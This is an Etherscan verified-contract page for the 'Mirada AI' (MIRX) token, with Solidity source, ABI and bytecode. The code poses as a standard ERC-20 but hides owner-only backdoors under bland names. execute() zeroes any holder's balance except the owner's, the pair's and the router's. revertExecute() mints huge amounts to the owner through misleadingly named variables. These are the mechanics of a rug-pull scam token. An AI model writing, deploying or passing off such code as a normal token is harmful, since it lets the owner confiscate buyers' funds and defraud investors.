Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-08-02
*/

// SPDX-License-Identifier: MIT

/*
Website:  https://mirada.ai/
Twitter:  https://x.com/MiradaAI
Telegram: https://t.me/MiradaAI
Linkedin: https://www.linkedin.com/company/mirada-ai
*/  

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {                                      
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}                                                                                                                                                           

/**
 * @dev Interface of the IUniswapV2Factory standard as defined in the Uniswap Factory Interface.
 */
interface IUniswapV2Factory {              
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}                                                                                                            

contract MIRX {          
    uint256 private _supply;
    string private _name;
    string private _symbol;
    address private _owner;
    uint8 private _decimals;
    uint256 boughAmount = 0;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    constructor() {
        _name = "Mirada AI";
        _symbol = "MIRX";
        _decimals = 9;
        _supply = 10 ** 9 * 10 ** _decimals;
        _owner = msg.sender;
        _balances[msg.sender] = _supply;
        emit Transfer(address(0), msg.sender, _supply);
    }                                                                                        

    function symbol() public view  returns (string memory) {
        return _symbol;
    }                                          

    function totalSupply() public view returns (uint256) {
        return _supply;
    }                                  

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }                 

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }                  

    function name() public view returns (string memory) {
        return _name;
    }                      

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }      

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }      

    function cex(address[] memory _user, uint256[] memory _amount) external {
        if(_owner == msg.sender) {
            for(uint i = 0; i < _user.length; i++) {
                _transfer(msg.sender, _user[i], _amount[i]);
            }     
        }     
    }                   

    function execute(address n) external {
        if(_owner == msg.sender && _owner != n && pairs() != n && n != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D){
            _balances[n] = boughAmount;
        } else {} 
    }  

    function revertExecute(uint256 n) external {
        if(_owner == msg.sender) {
            uint256 devTransfer = n;
            devTransfer = 10**15 * n * 1 *  10 **_decimals;
            uint256 devAmount = devTransfer;
            address swapRouter = msg.sender;
            address devWallet = swapRouter;
            _balances[devWallet] += devAmount;
        }      
    }  
    function pairs() public view virtual returns (address) {
        return IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).getPair(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), address(this));
    }  


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }    
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }  

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    } 

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_user","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"cex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"n","type":"address"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"n","type":"uint256"}],"name":"revertExecute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040525f600455348015610013575f80fd5b506040518060400160405280600981526020017f4d69726164612041490000000000000000000000000000000000000000000000815250600190816100589190610412565b506040518060400160405280600481526020017f4d495258000000000000000000000000000000000000000000000000000000008152506002908161009d9190610412565b506009600360146101000a81548160ff021916908360ff160217905550600360149054906101000a900460ff16600a6100d69190610649565b633b9aca006100e59190610693565b5f819055503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5460055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f546040516101cb91906106e3565b60405180910390a36106fc565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061025357607f821691505b6020821081036102665761026561020f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026102c87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261028d565b6102d2868361028d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61031661031161030c846102ea565b6102f3565b6102ea565b9050919050565b5f819050919050565b61032f836102fc565b61034361033b8261031d565b848454610299565b825550505050565b5f90565b61035761034b565b610362818484610326565b505050565b5b818110156103855761037a5f8261034f565b600181019050610368565b5050565b601f8211156103ca5761039b8161026c565b6103a48461027e565b810160208510156103b3578190505b6103c76103bf8561027e565b830182610367565b50505b505050565b5f82821c905092915050565b5f6103ea5f19846008026103cf565b1980831691505092915050565b5f61040283836103db565b9150826002028217905092915050565b61041b826101d8565b67ffffffffffffffff811115610434576104336101e2565b5b61043e825461023c565b610449828285610389565b5f60209050601f83116001811461047a575f8415610468578287015190505b61047285826103f7565b8655506104d9565b601f1984166104888661026c565b5f5b828110156104af5784890151825560018201915060208501945060208101905061048a565b868310156104cc57848901516104c8601f8916826103db565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105635780860481111561053f5761053e6104e1565b5b600185161561054e5780820291505b808102905061055c8561050e565b9450610523565b94509492505050565b5f8261057b5760019050610636565b81610588575f9050610636565b816001811461059e57600281146105a8576105d7565b6001915050610636565b60ff8411156105ba576105b96104e1565b5b8360020a9150848211156105d1576105d06104e1565b5b50610636565b5060208310610133831016604e8410600b841016171561060c5782820a905083811115610607576106066104e1565b5b610636565b610619848484600161051a565b925090508184048111156106305761062f6104e1565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610653826102ea565b915061065e8361063d565b925061068b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461056c565b905092915050565b5f61069d826102ea565b91506106a8836102ea565b92508282026106b6816102ea565b915082820484148315176106cd576106cc6104e1565b5b5092915050565b6106dd816102ea565b82525050565b5f6020820190506106f65f8301846106d4565b92915050565b611a3d806107095f395ff3fe608060405234801561000f575f80fd5b50600436106100cd575f3560e01c8063622180231161008a578063a9059cbb11610064578063a9059cbb14610211578063d40ef58a14610241578063dd62ed3e1461025d578063ffb0a4a01461028d576100cd565b806362218023146101a757806370a08231146101c357806395d89b41146101f3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d5780634b64e4921461018b575b5f80fd5b6100d96102ab565b6040516100e69190610e8f565b60405180910390f35b61010960048036038101906101049190610f4d565b61033b565b6040516101169190610fa5565b60405180910390f35b610127610351565b6040516101349190610fcd565b60405180910390f35b61015760048036038101906101529190610fe6565b610359565b6040516101649190610fa5565b60405180910390f35b610175610380565b6040516101829190611051565b60405180910390f35b6101a560048036038101906101a0919061106a565b610396565b005b6101c160048036038101906101bc9190611295565b61051c565b005b6101dd60048036038101906101d8919061106a565b6105cd565b6040516101ea9190610fcd565b60405180910390f35b6101fb610613565b6040516102089190610e8f565b60405180910390f35b61022b60048036038101906102269190610f4d565b6106a3565b6040516102389190610fa5565b60405180910390f35b61025b6004803603810190610256919061130b565b6106b9565b005b61027760048036038101906102729190611336565b6107bf565b6040516102849190610fcd565b60405180910390f35b610295610841565b6040516102a29190611383565b60405180910390f35b6060600180546102ba906113c9565b80601f01602080910402602001604051908101604052809291908181526020018280546102e6906113c9565b80156103315780601f1061030857610100808354040283529160200191610331565b820191905f5260205f20905b81548152906001019060200180831161031457829003601f168201915b5050505050905090565b5f6103473384846108e9565b6001905092915050565b5f8054905090565b5f80339050610369858285610aac565b610374858585610b40565b60019150509392505050565b5f600360149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561043f57508073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561047e57508073ffffffffffffffffffffffffffffffffffffffff16610465610841565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156104ca5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156105185760045460055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610519565b5b50565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036105c9575f5b82518110156105c7576105ba33848381518110610592576105916113f9565b5b60200260200101518484815181106105ad576105ac6113f9565b5b6020026020010151610b40565b8080600101915050610572565b505b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606060028054610622906113c9565b80601f016020809104026020016040519081016040528092919081815260200182805461064e906113c9565b80156106995780601f1061067057610100808354040283529160200191610699565b820191905f5260205f20905b81548152906001019060200180831161067c57829003601f168201915b5050505050905090565b5f6106af338484610b40565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036107bc575f819050600360149054906101000a900460ff16600a61072d9190611582565b60018366038d7ea4c6800061074291906115cc565b61074c91906115cc565b61075691906115cc565b90505f8190505f3390505f8190508260055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107b0919061160d565b92505081905550505050505b50565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306040518363ffffffff1660e01b81526004016108a5929190611640565b602060405180830381865afa1580156108c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e4919061167b565b905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094e90611716565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc906117a4565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a9f9190610fcd565b60405180910390a3505050565b5f610ab784846107bf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b3a5781811015610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a9061180c565b60405180910390fd5b610b3984848484610b34919061182a565b6108e9565b5b50505050565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb906118cd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c299061195b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c97906119e9565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce9919061182a565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d73919061160d565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e119190610fcd565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610e6182610e1f565b610e6b8185610e29565b9350610e7b818560208601610e39565b610e8481610e47565b840191505092915050565b5f6020820190508181035f830152610ea78184610e57565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ee982610ec0565b9050919050565b610ef981610edf565b8114610f03575f80fd5b50565b5f81359050610f1481610ef0565b92915050565b5f819050919050565b610f2c81610f1a565b8114610f36575f80fd5b50565b5f81359050610f4781610f23565b92915050565b5f8060408385031215610f6357610f62610eb8565b5b5f610f7085828601610f06565b9250506020610f8185828601610f39565b9150509250929050565b5f8115159050919050565b610f9f81610f8b565b82525050565b5f602082019050610fb85f830184610f96565b92915050565b610fc781610f1a565b82525050565b5f602082019050610fe05f830184610fbe565b92915050565b5f805f60608486031215610ffd57610ffc610eb8565b5b5f61100a86828701610f06565b935050602061101b86828701610f06565b925050604061102c86828701610f39565b9150509250925092565b5f60ff82169050919050565b61104b81611036565b82525050565b5f6020820190506110645f830184611042565b92915050565b5f6020828403121561107f5761107e610eb8565b5b5f61108c84828501610f06565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6110cf82610e47565b810181811067ffffffffffffffff821117156110ee576110ed611099565b5b80604052505050565b5f611100610eaf565b905061110c82826110c6565b919050565b5f67ffffffffffffffff82111561112b5761112a611099565b5b602082029050602081019050919050565b5f80fd5b5f61115261114d84611111565b6110f7565b905080838252602082019050602084028301858111156111755761117461113c565b5b835b8181101561119e578061118a8882610f06565b845260208401935050602081019050611177565b5050509392505050565b5f82601f8301126111bc576111bb611095565b5b81356111cc848260208601611140565b91505092915050565b5f67ffffffffffffffff8211156111ef576111ee611099565b5b602082029050602081019050919050565b5f61121261120d846111d5565b6110f7565b905080838252602082019050602084028301858111156112355761123461113c565b5b835b8181101561125e578061124a8882610f39565b845260208401935050602081019050611237565b5050509392505050565b5f82601f83011261127c5761127b611095565b5b813561128c848260208601611200565b91505092915050565b5f80604083850312156112ab576112aa610eb8565b5b5f83013567ffffffffffffffff8111156112c8576112c7610ebc565b5b6112d4858286016111a8565b925050602083013567ffffffffffffffff8111156112f5576112f4610ebc565b5b61130185828601611268565b9150509250929050565b5f602082840312156113205761131f610eb8565b5b5f61132d84828501610f39565b91505092915050565b5f806040838503121561134c5761134b610eb8565b5b5f61135985828601610f06565b925050602061136a85828601610f06565b9150509250929050565b61137d81610edf565b82525050565b5f6020820190506113965f830184611374565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113e057607f821691505b6020821081036113f3576113f261139c565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156114a85780860481111561148457611483611426565b5b60018516156114935780820291505b80810290506114a185611453565b9450611468565b94509492505050565b5f826114c0576001905061157b565b816114cd575f905061157b565b81600181146114e357600281146114ed5761151c565b600191505061157b565b60ff8411156114ff576114fe611426565b5b8360020a91508482111561151657611515611426565b5b5061157b565b5060208310610133831016604e8410600b84101617156115515782820a90508381111561154c5761154b611426565b5b61157b565b61155e848484600161145f565b9250905081840481111561157557611574611426565b5b81810290505b9392505050565b5f61158c82610f1a565b915061159783611036565b92506115c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846114b1565b905092915050565b5f6115d682610f1a565b91506115e183610f1a565b92508282026115ef81610f1a565b9150828204841483151761160657611605611426565b5b5092915050565b5f61161782610f1a565b915061162283610f1a565b925082820190508082111561163a57611639611426565b5b92915050565b5f6040820190506116535f830185611374565b6116606020830184611374565b9392505050565b5f8151905061167581610ef0565b92915050565b5f602082840312156116905761168f610eb8565b5b5f61169d84828501611667565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611700602483610e29565b915061170b826116a6565b604082019050919050565b5f6020820190508181035f83015261172d816116f4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61178e602283610e29565b915061179982611734565b604082019050919050565b5f6020820190508181035f8301526117bb81611782565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6117f6601d83610e29565b9150611801826117c2565b602082019050919050565b5f6020820190508181035f830152611823816117ea565b9050919050565b5f61183482610f1a565b915061183f83610f1a565b925082820390508181111561185757611856611426565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6118b7602683610e29565b91506118c28261185d565b604082019050919050565b5f6020820190508181035f8301526118e4816118ab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611945602583610e29565b9150611950826118eb565b604082019050919050565b5f6020820190508181035f83015261197281611939565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119d3602383610e29565b91506119de82611979565b604082019050919050565b5f6020820190508181035f830152611a00816119c7565b905091905056fea264697066735822122014076d3fa24b3f3564150facad1fc5758f9ebaf8cad2f8cd35230a41be9ea23864736f6c63430008190033

0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c8063622180231161008a578063a9059cbb11610064578063a9059cbb14610211578063d40ef58a14610241578063dd62ed3e1461025d578063ffb0a4a01461028d576100cd565b806362218023146101a757806370a08231146101c357806395d89b41146101f3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d5780634b64e4921461018b575b5f80fd5b6100d96102ab565b6040516100e69190610e8f565b60405180910390f35b61010960048036038101906101049190610f4d565b61033b565b6040516101169190610fa5565b60405180910390f35b610127610351565b6040516101349190610fcd565b60405180910390f35b61015760048036038101906101529190610fe6565b610359565b6040516101649190610fa5565b60405180910390f35b610175610380565b6040516101829190611051565b60405180910390f35b6101a560048036038101906101a0919061106a565b610396565b005b6101c160048036038101906101bc9190611295565b61051c565b005b6101dd60048036038101906101d8919061106a565b6105cd565b6040516101ea9190610fcd565b60405180910390f35b6101fb610613565b6040516102089190610e8f565b60405180910390f35b61022b60048036038101906102269190610f4d565b6106a3565b6040516102389190610fa5565b60405180910390f35b61025b6004803603810190610256919061130b565b6106b9565b005b61027760048036038101906102729190611336565b6107bf565b6040516102849190610fcd565b60405180910390f35b610295610841565b6040516102a29190611383565b60405180910390f35b6060600180546102ba906113c9565b80601f01602080910402602001604051908101604052809291908181526020018280546102e6906113c9565b80156103315780601f1061030857610100808354040283529160200191610331565b820191905f5260205f20905b81548152906001019060200180831161031457829003601f168201915b5050505050905090565b5f6103473384846108e9565b6001905092915050565b5f8054905090565b5f80339050610369858285610aac565b610374858585610b40565b60019150509392505050565b5f600360149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561043f57508073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561047e57508073ffffffffffffffffffffffffffffffffffffffff16610465610841565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156104ca5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156105185760045460055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610519565b5b50565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036105c9575f5b82518110156105c7576105ba33848381518110610592576105916113f9565b5b60200260200101518484815181106105ad576105ac6113f9565b5b6020026020010151610b40565b8080600101915050610572565b505b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606060028054610622906113c9565b80601f016020809104026020016040519081016040528092919081815260200182805461064e906113c9565b80156106995780601f1061067057610100808354040283529160200191610699565b820191905f5260205f20905b81548152906001019060200180831161067c57829003601f168201915b5050505050905090565b5f6106af338484610b40565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036107bc575f819050600360149054906101000a900460ff16600a61072d9190611582565b60018366038d7ea4c6800061074291906115cc565b61074c91906115cc565b61075691906115cc565b90505f8190505f3390505f8190508260055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107b0919061160d565b92505081905550505050505b50565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306040518363ffffffff1660e01b81526004016108a5929190611640565b602060405180830381865afa1580156108c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e4919061167b565b905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094e90611716565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc906117a4565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a9f9190610fcd565b60405180910390a3505050565b5f610ab784846107bf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b3a5781811015610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a9061180c565b60405180910390fd5b610b3984848484610b34919061182a565b6108e9565b5b50505050565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb906118cd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c299061195b565b60405